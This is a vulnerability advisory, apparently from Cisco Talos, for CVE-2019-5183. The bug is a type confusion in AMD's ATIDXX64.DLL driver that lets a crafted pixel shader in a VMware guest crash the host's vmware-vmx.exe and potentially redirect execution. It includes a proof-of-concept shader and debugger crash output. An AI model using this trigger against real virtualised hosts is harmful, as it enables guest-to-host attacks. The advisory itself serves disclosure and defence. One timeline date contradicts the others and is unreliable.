CVE-2019-5183
An exploitable type confusion vulnerability exists in AMD ATIDXX64.DLL driver, versions 26.20.13031.10003, 26.20.13031.15006 and 26.20.13031.18002. A specially crafted pixel shader can cause a type confusion issue, leading to potential code execution. An attacker can provide a specially crafted shader file to trigger this vulnerability. This vulnerability can be triggered from VMware guest, affecting VMware host.
AMD ATIDXX64.DLL (26.20.13031.10003, 26.20.13031.15006, 26.20.13031.18002) running on Radeon RX 550 / 550 Series VMware Workstation 15 (15.5.0 build-14665864) with Windows 10 x64 as guestVM
http://amd.com http://vmware.com
9.0 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CWE-843: Access of Resource Using Incompatible Type (‘Type Confusion’)
This vulnerability can be triggered by supplying a malformed pixel shader (inside VMware guest operating system). Such attack can be triggered from VMware guest usermode. The vulnerability will be triggered in the vmware-vmx.exe process on host, or theoretically through WEBGL (remote website), leading to potential code execution (through a vtable type-confusion).
Example of a fuzzer-generated shader:
ps_4_0
dcl_input_ps_siv constant v0.xyzw, position
dcl_output o0.xyzw
mov r262.xyz, v0.xyzw
mov r0.xyzw, r262.xyzw
mad r4.xy, r0.xyyy, r5.xyyy, l(-1.000000, -1.000000, -1.000000, -1.000000)
mul r3.xy, r4.xyyy, r2.xyyy
loop
lt r15.x, r3.xxxx, l(0.950000, 0.950000, 0.950000, 0.950000)
and r16.x, r14.xxxx, r15.xxxx
not r17.x, r16.xxxx
if_nz r17.x
break
endif
if_nz r253.x
add r4.xyz, r4.xyzz, r257.xxxx
add r3.x, r3.xxxx, r256.xxxx
endif
add r3.x, r3.xxxx, l(0.005000, 0.005000, 0.005000, 0.005000)
endloop
mov r1.xyz, r4.xyzx
mov o0.xyzw, r1.xyzw
When supplying a specifically crafted shader it is possible to “exceed” the vtable bounds and cause arbitrary code execution.
When a legitimate vtable address is supplied (1711F98 ??_7SCInst@@6B@ dq offset sub_3146A0), no such exception occurs, due to the fact that vtable bounds will not be exceeded and the correct function/method will be executed. However, after various further modifications of the shader, it is possible to execute different arbitrary vtable methods (attacker can semi-control the control flow). This leads to potential code execution.
Debugger output:
This exception may be expected and handled.
atidxx64!AmdDxGsaFreeCompiledShader+0x281ec2:
00007fff`af02c1f2 ff9000020000 call qword ptr [rax+200h] ds:00007fff`b0434b40=6564616853343675
0:000> r
rax=00007fffb0434940 rbx=00000000ffffffff rcx=0000023d26c7ad70
rdx=0000080080000e02 rsi=0000023d26c7ad70 rdi=ffffffffffffffff
rip=00007fffaf02c1f2 rsp=000000e273af9590 rbp=0000023d26c7b0b0
r8=0000023d26c45500 r9=0000000000000008 r10=0000000000000000
r11=0000000000000000 r12=0000000000000004 r13=0000023d26c7ae18
r14=0000023d26c45500 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
atidxx64!AmdDxGsaFreeCompiledShader+0x281ec2:
00007fff`af02c1f2 ff9000020000 call qword ptr [rax+200h] ds:00007fff`b0434b40=6564616853343675
0:000> db poi(@rax+0x200)
65646168`53343675 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
65646168`53343685 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000> db @rax+0x200
00007fff`b0434b40 75 36 34 53 68 61 64 65-72 49 64 00 00 00 00 00 u64ShaderId.....
00007fff`b0434b50 73 68 61 64 65 72 49 64-2e 75 36 34 48 69 00 00 shaderId.u64Hi..
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(249c.1f6c): Access violation - code c0000005 (first/second chance not available)
For analysis of this file, run !analyze -v
ntdll!NtGetContextThread+0x14:
00007ffe`9525de54 c3 ret
0:016> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for amdihk64.dll
KEY_VALUES_STRING: 1
Key : AV.Fault
Value: Read
Key : Analysis.CPU.Sec
Value: 4
Key : Analysis.DebugAnalysisProvider.CPP
Value: Create: 8007007e on CLAB
Key : Analysis.DebugData
Value: CreateObject
Key : Analysis.DebugModel
Value: CreateObject
Key : Analysis.Elapsed.Sec
Value: 51
Key : Analysis.Memory.CommitPeak.Mb
Value: 161
Key : Analysis.System
Value: CreateObject
Key : Timeline.Process.Start.DeltaSec
Value: 195
APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: (.ecxr)
rax=00007ffe8a7a0560 rbx=00000000ffffffff rcx=000001cbbeeffc10
rdx=0000080080000e02 rsi=000001cbbeeffc10 rdi=ffffffffffffffff
rip=00007ffe893bc1f2 rsp=000000c7736f57f0 rbp=000001cbbeefff50
r8=000001cbb28a0880 r9=0000000000000008 r10=0000000000000000
r11=0000000000000000 r12=0000000000000004 r13=000001cbbeeffcb8
r14=000001cbb28a0880 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
atidxx64!AmdDxGsaFreeCompiledShader+0x281ec2:
00007ffe`893bc1f2 ff9000020000 call qword ptr [rax+200h] ds:00007ffe`8a7a0760=6564616853343675
Resetting default scope
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00007ffe893bc1f2 (atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000281ec2)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff
PROCESS_NAME: vmware-vmx.exe
READ_ADDRESS: ffffffffffffffff
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: ffffffffffffffff
STACK_TEXT:
000000c7`736f57f0 00007ffe`893bd32e : 000001cb`beefff50 000001cb`00000000 000001cb`b28a0880 000001cb`beee1048 : atidxx64!AmdDxGsaFreeCompiledShader+0x281ec2
000000c7`736f58d0 00007ffe`89230beb : 000001cb`beef8c28 000001cb`b2872900 000001cb`beefb8d0 000001cb`beef8c00 : atidxx64!AmdDxGsaFreeCompiledShader+0x282ffe
000000c7`736f59b0 00007ffe`892323d9 : 000001cb`beef8c01 000000c7`00000000 000001cb`b2872900 000001cb`b28a0880 : atidxx64!AmdDxGsaFreeCompiledShader+0xf68bb
000000c7`736f5a40 00007ffe`892477c6 : 000001cb`beee0de8 000001cb`bef00a30 000001cb`b28a08f0 000001cb`beee0de8 : atidxx64!AmdDxGsaFreeCompiledShader+0xf80a9
000000c7`736f5b80 00007ffe`89236880 : 000001cb`b28a0880 000001cb`beed8ec8 00000000`00000004 000001cb`b28a0880 : atidxx64!AmdDxGsaFreeCompiledShader+0x10d496
000000c7`736f5d40 00007ffe`89215ad4 : 000001cb`b28a0880 000001cb`b2834a30 000000c7`736f6580 000001cb`b28a0880 : atidxx64!AmdDxGsaFreeCompiledShader+0xfc550
000000c7`736f5dc0 00007ffe`89159514 : 00000000`00000001 000000c7`736f6580 000001cb`b2834a30 000000c7`736f6580 : atidxx64!AmdDxGsaFreeCompiledShader+0xdb7a4
000000c7`736f6340 00007ffe`898e1cf8 : 000001cb`ad350448 000000c7`736f6470 000000c7`736f6580 000001cb`ae696660 : atidxx64!AmdDxGsaFreeCompiledShader+0x1f1e4
000000c7`736f6370 00007ffe`898c743b : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x7a79c8
000000c7`736f64e0 00007ffe`898c6f72 : 00000000`00000000 000001cb`b2834730 000001cb`ae6b4890 000000c7`736fa1f0 : atidxx64!AmdDxGsaFreeCompiledShader+0x78d10b
000000c7`736f6540 00007ffe`898f7983 : 000001cb`b2834730 00000000`00000000 000001cb`ae6f9e20 000000c7`736fa1f0 : atidxx64!AmdDxGsaFreeCompiledShader+0x78cc42
000000c7`736fa1a0 00007ffe`898c6e47 : 00000000`00000047 000001cb`b28cdc00 000001cb`ae6e7370 000001cb`ae6c2560 : atidxx64!AmdDxGsaFreeCompiledShader+0x7bd653
000000c7`736fa1d0 00007ffe`89996ac1 : 00000000`00000000 000000c7`736fa510 00000000`00000000 000001cb`bb9da450 : atidxx64!AmdDxGsaFreeCompiledShader+0x78cb17
000000c7`736fa230 00007ffe`89154e7a : 00000000`00000000 00000000`00000000 000000c7`736fa510 00000000`00000491 : atidxx64!AmdDxGsaFreeCompiledShader+0x85c791
000000c7`736fa270 00007ffe`89154cc3 : 000001cb`ae6dc850 00000000`00000003 00000000`00000003 00000000`00000000 : atidxx64!AmdDxGsaFreeCompiledShader+0x1ab4a
000000c7`736fa2b0 00007ffe`890dc05e : ffffffff`00000001 00000000`00000000 000001cb`bbe46ad8 00007ffe`00000003 : atidxx64!AmdDxGsaFreeCompiledShader+0x1a993
000000c7`736fa340 00007ffe`89848276 : 00000000`00000000 000000c7`736fa510 00000000`00000000 ffffffff`ffffffff : atidxx64!XdxQueryTlsLookupTable+0x6d6e
000000c7`736fa380 00007ffe`890ed8b1 : 000001cb`bb8354c8 000001cb`bbe6f77c 000001cb`ad347210 00000000`00000001 : atidxx64!AmdDxGsaFreeCompiledShader+0x70df46
000000c7`736fa4f0 00007ffe`8f418edc : 00000000`00000000 000000c7`736fa720 000001cb`bb8354b8 00007ffe`951fba17 : atidxx64!XdxQueryTlsLookupTable+0x185c1
000000c7`736fa620 00007ffe`8f42295f : 000000c7`00000001 000001cb`ad343628 000001cb`bb8354b8 000001cb`ad339710 : d3d11!CPixelShader::CLS::FinalConstruct+0x23c
000000c7`736fa880 00007ffe`8f42289a : 000000c7`736faf60 00007ffe`8f5d2388 000001cb`bb835350 00000000`00000000 : d3d11!CLayeredObjectWithCLS<CPixelShader>::FinalConstruct+0xa3
000000c7`736fa910 00007ffe`8f40ee58 : 000001cb`bb8353a8 000000c7`736faf60 000000c7`736faf90 00007ffe`8f5d2388 : d3d11!CLayeredObjectWithCLS<CPixelShader>::CreateInstance+0x152
000000c7`736fa970 00007ffe`8f41b17d : 000001ca`00000000 000001cb`bb835350 00000000`00000000 000001ca`24e50000 : d3d11!CDevice::CreateLayeredChild+0xc88
000000c7`736fadb0 00007ffe`8f41b950 : 000001cb`bb835350 00000000`00000009 00000000`00000188 00000000`00000030 : d3d11!NDXGI::CDevice::CreateLayeredChild+0x6d
000000c7`736faf20 00007ffe`8f4014f4 : 000001cb`ad3378d0 00007ffe`00000009 000001cb`bbe6f6e0 000001cb`ad338108 : d3d11!NOutermost::CDevice::CreateLayeredChild+0x1b0
000000c7`736fb110 00007ffe`8f401463 : 000001cb`bbe6f6e0 00000000`0000b000 000000c7`736fb470 00000000`00021c60 : d3d11!CDevice::CreateAndRecreateLayeredChild<SD3D11LayeredPixelShaderCreationArgs>+0x64
000000c7`736fb170 00007ffe`8f4011e8 : 000001cb`ad338108 000001cb`bbe6f6e0 00000000`0000039c 00000000`00000000 : d3d11!CDevice::CreatePixelShader_Worker+0x203
000000c7`736fb320 00007ff7`9ee1ef43 : 00000000`00000000 000000c7`736fb470 000001cb`ad6ad7f0 00000000`00000000 : d3d11!CDevice::CreatePixelShader+0x28
000000c7`736fb370 00007ff7`9ee20af6 : 00000000`00000000 000000c7`736ff5a0 000001cb`bbe46af0 000001cb`ad6ad7f0 : vmware_vmx+0x2bef43
000000c7`736fb4d0 00007ff7`9ee1fbc9 : 00007ff7`9eb60000 000001cb`ad6a8970 000001cb`ad6a8970 00000000`00000000 : vmware_vmx+0x2c0af6
000000c7`736ff4a0 00007ff7`9ee1cae1 : 000001cb`bbe1d810 00007ff7`9eb60000 00000000`00000003 00000000`00000003 : vmware_vmx+0x2bfbc9
000000c7`736ff9e0 00007ff7`9ee4eb06 : 000001cb`bbe1d770 00000000`0000000c 000001cb`bbe3b2f8 00000000`0000000c : vmware_vmx+0x2bcae1
000000c7`736ffa20 00007ff7`9ed52b8d : 00000000`00000100 000000c7`736ffbb0 00000000`00000028 000001cb`bbe1d760 : vmware_vmx+0x2eeb06
000000c7`736ffa60 00007ff7`9ecd1742 : 00000000`00007301 00000000`00000100 00000000`00000080 00000000`000000fc : vmware_vmx+0x1f2b8d
000000c7`736ffab0 00007ff7`9eccf358 : 00000000`00000000 00000000`00000001 000000c7`736ffcdc 00000000`00000040 : vmware_vmx+0x171742
000000c7`736ffc70 00007ff7`9ec1b45a : 00000000`00000000 00000000`00000002 00000000`00000002 000001ca`00000000 : vmware_vmx+0x16f358
000000c7`736ffca0 00007ff7`9f164e09 : 000001ca`27f61a10 00007ff7`9ec1b170 ffffffff`ffffffff 00000000`00000000 : vmware_vmx+0xbb45a
000000c7`736ffd10 00007ffe`94427bd4 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : vmware_vmx+0x604e09
000000c7`736ffdd0 00007ffe`9522ced1 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0x14
000000c7`736ffe00 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
SYMBOL_NAME: atidxx64!AmdDxGsaFreeCompiledShader+281ec2
MODULE_NAME: atidxx64
IMAGE_NAME: atidxx64.dll
STACK_COMMAND: ~16s ; .ecxr ; kb
FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_atidxx64.dll!AmdDxGsaFreeCompiledShader
OS_VERSION: 10.0.18362.1
BUILDLAB_STR: 19h1_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {08b458dc-1323-2abb-9f1a-d0ac543a793c}
Followup: MachineOwner
---------
0:016> .exr -1
ExceptionAddress: 00007ffe893bc1f2 (atidxx64!AmdDxGsaFreeCompiledShader+0x0000000000281ec2)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff
2019-10-23 - Vendor Disclosure
2019-01-13 - Vendor confirmed fix and no issues found on versions 15.5.1 with 20.1.1 AMD drivers
2020-01-21 - Public Release
Discovered by Piotr Bania of Cisco Talos.